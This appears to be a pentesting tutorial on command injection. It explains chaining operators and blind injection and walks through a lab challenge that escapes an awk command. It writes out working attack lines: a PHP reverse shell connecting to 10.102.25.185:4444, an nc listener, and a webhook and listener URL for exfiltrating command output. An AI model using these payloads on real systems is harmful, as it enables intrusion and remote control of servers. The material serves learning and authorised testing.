Command Injection
Basically, it is when an application takes user input and passes it to a function that executes it as code - usually a shell command on the local system. The core principle: never trust input from a user, or from any external source (including third-party APIs).
Functions like eval(), system(), exec(), proc_open(), popen() execute whatever data is passed to them. If user input reaches one of these without sanitization, you get command injection.
Command Injection Attacks
Look for any input fields where you can enter data.
This may be exposed on the webserver, or even on an admin page where there’s some kind of utility (e.g. a command box, network check, DNS lookup).
For instance, it may be a “Network Check” where you enter a URL and the website queries for the HTTP status.
In the best case scenario, it will show the command on the website.
Full command displayed: Command: curl -l -s -L https://google.com | grep "HTTP/"
You can see here, the user-controlled string is google.com.
Chaining operators:
;- ends the first command, starts a new one#- comments out everything after it&&- runs second command only if first succeeds||- runs second command only if first fails|- pipes output of first command into second` `(backticks) - executes inline and substitutes the result$()- same as backticks, command substitution
So if you enter this: ; whoami # the command executed would be: curl -l -s -L ; whoami # | grep "HTTP/"
The result in the backend is like this:
curl: try 'curl --help' or 'curl --manual' for more information
your_username
But since usually the webserver will return the last line, it will display the username.
If we have confirmed RCE, the next step is to get a reverse shell. Before you pick a payload, check what’s available on the target:
which php
which python
which python3
which perl
which nc
Fastest way to get a shell is by visiting: https://www.revshells.com/ and replace whoami with the reverse shell. You may play around with different payloads - bash, php, whatever the stack on the webserver is - that is why enumeration is key in the beginning. Shell might be something like:
php -r '$sock=fsockopen("10.102.25.185",4444);shell_exec("/bin/bash <&3 >&3 2>&3");'
Then replace whoami with this command, start a listener with nc -lvnp 4444 and catch the shell. If one payload does not work, play around with others.
Fuzz payloads with: https://hacktricks.wiki/en/pentesting-web/command-injection.html Also check: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
Warning: Be careful when fuzzing for command injection - unlike SQLi or XSS, every payload actually executes code on the host. You could accidentally break things, delete files, or trigger alerts. On a bug bounty, stick to harmless commands like whoami, id, hostname, or sleep.
Blind Command Injection
Blind command injection is more realistic - you cannot see the output of what runs in the shell. The application might just show “Website OK” or “Something went wrong” with no actual output.
That is why first understand what the application is doing with your input. How does it handle it? What if you add a parameter or something you are not supposed to?
Confirming blind injection:
Play with things like ` `.
Start with `sleep 10` → if the website hangs for 10 seconds, you have command execution.
Exfiltrating output: You may also pipe the command to a webhook, either local or using https://webhook.site. Use this syntax:
https://webhook.site/XXX/?q=`whoami`
# Result: https://webhook.site/XXX/?q=www-data
Or locally:
# Listener
nc -lvnp 444
# Payload:
http://LOCAL_IP:444/?q=`whoami`
# Result: HEAD /?q=www-data HTTP/1.1
For real engagements: don’t send sensitive data to public webhook sites. Use your own server, Burp Collaborator, or a local listener.
Even with blind injection, you can still pop a reverse shell - the shell doesn’t need visible output, it just needs the command to execute.
Challenge
This is more like visible command injection where you enter two inputs and the website does a shell command with your input: The command executed:
Executed: awk 'BEGIN {print sqrt(((-INPUT_A)^2) + ((-INPUT_B)^2))}'
Now you need to play around to escape it.
Let’s do INPUT_B. We need to look at what brackets close it off, and then put the closing syntax in front. For instance, sqrt(10 - whoami) won’t work. We need to escape to sqrt(10 - ) ; whoami # to achieve command execution.
awk 'BEGIN {print sqrt(((-INPUT_A)^2) + ((-INPUT_B)^2))}' <- The vanilla command
)^2))}' <- Everything which comes after input
)^2))}'; <- Close this command with a semicolon
)^2))}';INPUT_B;# <- Add the input & close it off with a semicolon and a hashtag
You can now replace INPUT_B with anything you desire.
Testing Checklist
- Identify input fields that might pass data to shell commands - look for network checks, DNS lookups, file converters, ping utilities, admin tools, or anything that interacts with the OS
- Understand what the application does with your input before testing - does it show the command? Does it display output? Does it just show a status message?
- Test chaining operators one by one:
;,|,&&,||, backticks,$()- append harmless commands likewhoami,id, orhostname - If no output is visible (blind injection), test with
`sleep 10`- if the response is delayed by 10 seconds, you have command execution - Exfiltrate output via out-of-band channels: pipe results to webhook.site or a local listener (
http://YOUR_IP:PORT/?q=whoami“) - Before picking a reverse shell payload, check what is available on the target:
which php,which python3,which nc,which perl - Use https://www.revshells.com/ to generate reverse shell payloads matched to the target’s available binaries
- If the command context is complex (e.g., embedded in
awk,sqrt, or other functions), carefully analyze the closing syntax needed to escape and chain your command, then comment out the rest with# - Be careful with fuzzing for command injection - every payload actually executes code on the host. Stick to harmless commands (
whoami,id,hostname,sleep) on bug bounty targets - Check https://hacktricks.wiki/en/pentesting-web/command-injection.html and PayloadsAllTheThings for fuzz payloads and bypass techniques
- Include in report: the exact parameter and payload used, the command output (e.g.,
whoamiresult), whether it is blind or visible, and impact (RCE, full server compromise). Use safe PoC commands only - never destructive payloads